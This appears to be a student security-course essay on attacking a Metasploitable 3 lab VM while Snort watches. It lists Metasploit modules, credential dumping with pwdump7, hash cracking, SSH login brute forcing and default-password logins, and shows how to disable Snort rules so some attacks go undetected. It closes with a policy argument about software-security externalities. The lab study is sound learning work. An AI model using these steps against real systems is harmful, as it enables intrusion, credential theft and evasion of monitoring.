**Is it easier to fix the application than to detect attacks?**

This essay can be downloaded in readable from from <https://github.com/piet8stevens/CyberSecurity-Project-II> together with the data files to reconstruct the vulnerability detection and exploitation. All software versions are also documented there.

**A. Vulnerabilities**

In order to reproduce the attacks, I assume you have already set up the Metasploitable 3 Virtual Machine (VM) in Virtualbox as per the instructions on Course Project II and have snort installed in it. You can now download the wconf.snort file as well as the rules files from github (if you cloned the repository, you already have them) and now need to ensure that wconf.snort directories point to where you cloned the repository and that the IP addresses for the virtual machine (both send and receive) and for your host are set up correctly in that file. I have used the 2 batch files snort1.bat and snort2.bat to easily run 2 snorts in parallel to watch both networks in the VM.

The files needed for reproduction of the vulnerabilities are set up in the following directories:

1. atk – data files with usernames & passwords etc… .
2. etc – wsnort.conf (only file you need to touch here) and some other conf files and 2 map files. Snort1.bat and snort2.bat for use in the VM are also here.
3. preproc\_rules – must be there but no need to touch.
4. rules – just to ensure that we are talking about exactly the same files, otherwise the instructions below will be too difficult to execute.

I executed the attacks from an Ubuntu 17.10 desktop on which I have metasploit. All commands are run from the sudo msfconsole prompt. This desktop is referred to as lhost. The target is rhost.

In this essay, I only give summary instructions on how to reproduce the attacks on the vulnerabilities.

**1. Five vulnerabilities on the Windows 2008 server R2 detected by snort.**

We need to start with a scan of the ports of the VM to identify opportunities.

On Lhost: nmap -v -sV 172.28.128.3 -oA vm

Result:

Nmap scan report for 172.28.128.3

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.1 (protocol 2.0)

3000/tcp open http WEBrick httpd 1.3.1 (Ruby 2.3.3 (2016-11-21))

4848/tcp open ssl/http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)

8022/tcp open http Apache Tomcat/Coyote JSP engine 1.1

8080/tcp open http Oracle GlassFish 4.0 (Servlet 3.1; JSP 2.3; Java 1.8)

8383/tcp open ssl/http Apache httpd

9200/tcp open http Elasticsearch REST API 1.1.1 (name: Winter Soldier; Lucene 4.7)

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

Through experimentation, I found this sequence of attacks to own the VM:

1. Use the Elasticsearch vulnerability to get system access and obtain usernames/passwords

* Rhost: Use snort1.bat and snort2.bat each in their own command.exe window to see what snort detects: snort<n> –A console
* Lhost: use exploit/multi/elasticsearch/script\_mvel\_rce
  + create a temporary directory on rhost and upload the atk/pwdump7 files.
  + run pwdump7.exe in a windows shell to obtain a dump of usernames with their hashed passwords.
  + Obtain the unhashed passwords by pasting them into <https://hashkiller.co.uk/ntlm-decrypter.aspx>. These are most of the passwords in the atk\pwd.txt file.

Note how during the exploit, the snort2 window shows multiple ´Consecutive TCP small segments exceeding threshold´ packets. Use snort1 and snort2 in all the following steps. Note how each of the attacks results in snort alerts.

1. Exploit ssh

* use auxiliary/scanner/ssh/ssh\_login
  + set USERPASS\_FILE to atk/usrpwd.txt (from elasticsearch)

1. Complete\_manageengine exploit

* <https://172.28.128.3:8383> and obtain access with user admin and password spoilt (use OWASP ZAP to try out passwords).

1. Exploit Apache/Tomcat and coyote jsp engine 1.1

* use auxiliary/scanner/http/dir\_scanner with RPORT 8022
* <http://172.28.128.3:8022/servlet/> and get access to the ManageEngine console by following the link.

1. Oracle Glassfish

* <http://172.28.128.3:4848> . Access the management console with user admin, password sploit.

**2. Disable a few rules to ensure 2 vulnerabilities are not detected.**

* Edit web-misc.rules under the rules directory and comment out lines 75, 174 and 184. This will eliminate alerts:
* WEB-MISC weblogic/tomcat .jsp view source attempt Classification: Web Application Attack
* WEB-MISC http directory traversal Classification: Attempted Information Leak
* Edit the wsnort.conf file and set ‘track\_tcp yes’ to ‘track\_tcp no’ for the stream5\_global preprocessor. This will eliminate the alerts Consecutive TCP small segments exceeding threshold [\*\*] [Classification: Potentially Bad Traffic]

Result: snort no longer detects Complete\_manageengine and Apache/Tomcat and coyote jsp attacks.

**B. Is it easier to fix the application than to detect attacks?**

If I had to keep it really simple and based on the 5 vulnerabilities I picked: the snort rules picked up every single one of the attacks. It took me quite a bit of time to set up the VM and learn snort and metasploit. Then it was very easy to detect the attacks. It would definitely require more time for me to fix the applications, maybe impossible if I do not have access to source code. This points to the first element: as a user, I have no choice: under the current circumstances, companies will never produce secure software and therefore, I must set up additional infrastructure to mitigate against the weaknesses of my suppliers. In this sense, the question is irrelevant: typically, the party that needs to fix the application is different from the one that needs to defend against the attack.

Also, as I have pointed out in my other essays, the economic incentives for fixing the application are set up wrongly. As a producer of software, I am barely held accountable for publishing shoddy software. I have therefore no incentive to spend time and money on producing secure software. In this sense, insecure software is like pollution in the real world: it is what economists call an externality and the optimal solution to solve externalities is to ensure that the polluter pays.

Consequently, the question is a bit absurd. Multiple levels of defense are necessary:

1. a change in the law: software security externalities must be paid for by the polluter.
2. a change in the suppliers – use better methodology for cyber security right from the start.
3. an improvement in technology – both in terms of developing better software development tools & methodologies as well as better defensive tools.
4. a change in the users – get educated and cooperate/share information.

Clearly, it will take time and a few big accidents before these changes happen. This also means there is a major business opportunity in supporting the evolution of our economic, legal and engineering systems as well as the users towards a secure software environment.